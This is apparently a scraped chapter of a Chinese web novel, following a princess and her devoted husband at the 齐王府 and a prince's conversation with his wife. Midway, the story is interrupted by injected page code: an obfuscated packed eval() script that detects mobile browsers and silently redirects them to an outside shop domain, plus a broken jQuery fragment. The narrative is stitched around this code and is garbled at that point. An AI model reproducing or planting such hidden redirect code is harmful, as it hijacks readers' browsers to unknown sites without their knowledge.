57. 第 57 章
    然后她又走近了些,细细观摩,范希诚翘首以待。

    这字在李清壁看来着实算不上好,但她知道范希诚在等着什么,正努力从脑海里搜罗词句,想想怎样才能既夸了他又能显得字句真诚毫不敷衍。

    范希诚等了一会儿,失落道:“我写的很不好是不是?你都不夸我。”

    “不是,我在想怎么夸你。”

    范希诚:“我知道我写得不好,那你觉得和之前比有没有进步呢?”

    这个问题很好回答,他给李清壁写过很多信,字迹只能说是端正,算不上好看,更无书法意趣。

    “相比之前确实好了一些。”就是和李清壁的很像,没有什么自己的风格了。

    范希诚倒是容易满足:“比之前好就行,慢慢来嘛,我也不求一步登天。那以后我写好了就拿给你看,如果写得有问题你要直说。”

    李清壁答应了。若是帮心思敏感之人指出问题其实颇费功夫,既要指出问题,又要让那人觉得没有被针对。但指出范希诚的问题很简单,直接告诉他就好。他心思简单,绝不会多想。

    凉风习习,穿过雕花的窗户吹动了桌面上的那些纸,范希诚看了看外面:“天气真好,要不我们去湖边散步吧。”

    李清壁问他:“你不做簪子了?”

    范希诚:“这个不着急,回去还得坐很久的船,在船上慢慢做也行。”

    簪子在哪里做都行,可等回了灵州,便没有这么好的风景与这么大的湖给人散步了。灵州雨量用来灌溉都很勉强,造人工湖更是想都别想。

    齐王府有个不大不小的人工湖,若是泛舟的话就太小了,但散步的话刚刚好,一刻钟差不多能走半圈。湖边种着许多高大的树木,在湖边走着基本不会被太阳晒到,还有阵阵凉风吹着,让人很舒服。

    若是在灵州,范希诚一向肆无忌惮,找到机会就要牵着李清壁的手。但这是越州的齐王府,他得守规矩,便只在她身边跟着,不敢放肆。

    他的眼神是热乎乎的,任谁看了都知道他们二人之间是他对李清壁迷恋得不行。他时不时还要往前跑几步,踢开路上可能会硌到脚底的小石子。

    才二月初,因早晚天凉,李清壁衣裳穿得厚,这会儿下午日头盛,她微微有些热。范希诚腰间挂了一把主要起装饰作用的扇子,这会儿扇子终于能物尽其用,被他用来给李清壁扇风。

    齐王府的侍女远远地跟在后面,看到这一幕也只是相视会心一笑。

    ——

    因李怀与程荻皆是爱书之人,齐王府有一座三层的小阁楼,只用来收藏各类书籍。其中典籍涉猎颇多,儒道经典,天文历法、地理志与游记、算术、农学等应有尽有,还有许多难得的孤本,逃过几百年的王朝颠覆,辗转到了李怀手里。

    李怀在阁楼最顶层凭栏远眺,看着自己的妹夫像勤劳的蚂蚁一样忙前忙后,笑着道:“还说我命好,我看阿九的姻缘也很好,驸马人确实不错。”就是有些幼稚。

    程荻正在书架中找想要的书,听他说话才往他身边来,见了范希诚那殷勤样子,也笑着道:“妹妹是有福之人。我们刚成婚时,我就告诉过王爷,妹妹婚后一定过得不错。”她语气又添了几分遗憾与懊悔,“只是那时王爷不信我,一味地担心,还作践了自己的身子。”

    李怀忙哄道:“是我的错,若我信了你,也就不劳阿九和驸马跑这一趟。我们从长安一路过来都觉得辛苦不堪,更不要说几千里外的灵州。”

    他的妹妹自小在深宫中长大,从来没有受过这样的罪。

    程荻拉着李怀坐下:“那时我与王爷刚刚成婚,王爷不信我很正常。灵州范家又有狂妄自大的名声在外,王爷会担心长公主也是人之常情。”

    李怀:“是我当时不对。既为夫妻,应互信互爱。”他又问,“你怎么知道阿九婚后会过得不错?”

    程荻随意翻着面前的书:“我没与你说过吗?兵乱时我曾见过驸马的母亲与姐姐。仆固夫人为人豪爽大气,驸马的姐姐范校尉待人真诚。这样的家庭,纵使妹妹不喜欢驸马,日子总能过得舒心的。”

    李怀:“你没和我说过,你好像很多事都没和我说过。姑姑的事我之前也不知道。”

    程荻在心里叹了口气,语气平静:“姑姑的事我们家可没遮掩过,父亲也曾在京中托人找过走失的姑姑。只是王爷不关心罢了。”

    程荻越想越觉得李怀就是不关心她,借机发作:“难道王爷之前知道我有一个与人私奔的姑姑,便不来求亲了吗?”

    她当然知道李怀不是这样的人,但是就想找个由头小小地发一下脾气。

    李怀急了:“阿橘,你明明知道我不是这个意思!”他从对面绕到程荻身边,“姑姑被人辜负,是可怜人,我怎会觉得她有错?我只是觉得,”

    “什么?”

    李怀的语气竟然罕见地有些迷茫:“阿橘,我觉得我不够了解你。你似乎从没告诉过我你的过去。”

    程荻靠在他怀里,抬头看见他这呆愣样子,觉得与他计较这些好没意思。天底下最尊贵出身的男子,待她温柔有礼,还会主动同她道歉,为她做到这份上已经很难得,只是有些事他想不到而已。

    她不该再妄想的,虽比不上驸马待长公主那般殷勤细致,但至少人在她身边,是她丈夫。

    她静静感受着独处的静谧时光:“王爷从未问过,其实同其他县城里边长大的娘子们没什么区别,说起来乏味枯燥,怎好打扰你。”

    李怀搂着她,握住她的手握住她的手郑重道:“阿橘,你是我的妻子。我想知道你的过去,这根本就不会无聊。”

    程荻嘴角挂着浅浅的笑意:“王爷若真不觉得无趣,我可以慢慢讲给你听。”

    李怀有些高兴,为她又翻了一页书:“那说好了,我想知道所有与你有关的事。我有耐心听,你可千万不能不耐烦讲。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13387473|141112||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ——

    第二日一早,程荻很早就醒来,昨日她已经将招待程幽的事安排得差不多,今日并不用早起理事,只是心情激动,自然而然早早醒来。

    李怀还在静静睡着,这些天,他的身体逐渐变好,睡眠也不像之前那样不安稳,程荻看着他的睡颜抿嘴笑了笑,很快起床。

    另一边,宜兰苑的范希诚惦记着事,也很早就醒了。

    而李清壁只要赶路就会睡不好,人瘦了很多。他希望李清壁能睡够时辰养好精神,没吵她,轻声出了屋,另找了地方带着阿福练拳脚。

    阿福累得气喘吁吁,问他:“驸马,这跑跳又累人又不好看,像个猴子似的。您怎么不练耍枪,多威风,正好我也学几招。”

    范希诚一边背着手跳跃,一边回他:“我的枪没带。再说,在别人府上舞刀弄枪的不好。你若真想学,等回了灵州,每日同我去军营时便跟着学,别老往伙房跑。”

    阿福:“我往伙房跑是因为我在长身体,我老饿。”

    范希诚想想自己十四岁那会儿,最饿的时候感觉能吃下一头牛。

    “吃吧,家大业大的不差你那两口饭。只不过你若真想学枪,便要勤勉,最普通的一杆枪也有几十斤。”

    阿福:“那算了,我本来也只是想练得壮壮的,像桓将军那样。岁珠姐姐好像就喜欢那样的。”

    范希诚劝他:“那你确实没必要练枪,不实用。现在这样就行。”他又问,“你说小娘子们都喜欢像桓大哥那样很壮的男人吗?”

    桓允舟的胸肌,扮女人都足够。范希诚隔着衣服摸了自己并不夸张的薄薄肌肉,忽然有些不自信。

    阿福很会看眼色:“不是吧,我觉得殿下肯定最喜欢您这样的。”

    练够了时辰,范希诚回去洗漱过后,叫醒了还在沉睡的李清壁。

    李清壁有些奇怪,因为以往范希诚都会等她睡到自然醒。

    她脑子还没清醒,一边揉眼睛一边问话,说话的声音也少见的黏黏糊糊:“今天有什么事吗?”

    范希诚很少见她这副模样,觉得甚是可爱,连睡得有些乱糟糟的头发都非常可爱,真想把她抱到怀里狠狠亲两口。

    他这么想了,但不敢这么做。只敢将她的衣服拿过来,帮她一件件穿上。这衣服是他昨日就提前备好,给李清壁看过的。

    他选了两件料子差不多的紫色外裳。不过李清壁的是温柔的浅紫色,他那件颜色深沉,紫黑交加。他自觉还没得到长公主全心全意的爱,但这衣服一上身,就显得两人十分相配,能叫一些有心之人知难而退。

    “王府今日有客。让丹若给你梳头发吧,”范希诚也知道自己梳的头发比起丹若,还是差了一大截的。但没关系,只要他勤学苦练,总能学好的。

    两人走到王府前厅时,程荻一眼注意到的就是那两身紫色衣服,远远地看着他们就捂嘴笑了,还叫李怀看,李怀一看也露出一个善意的笑。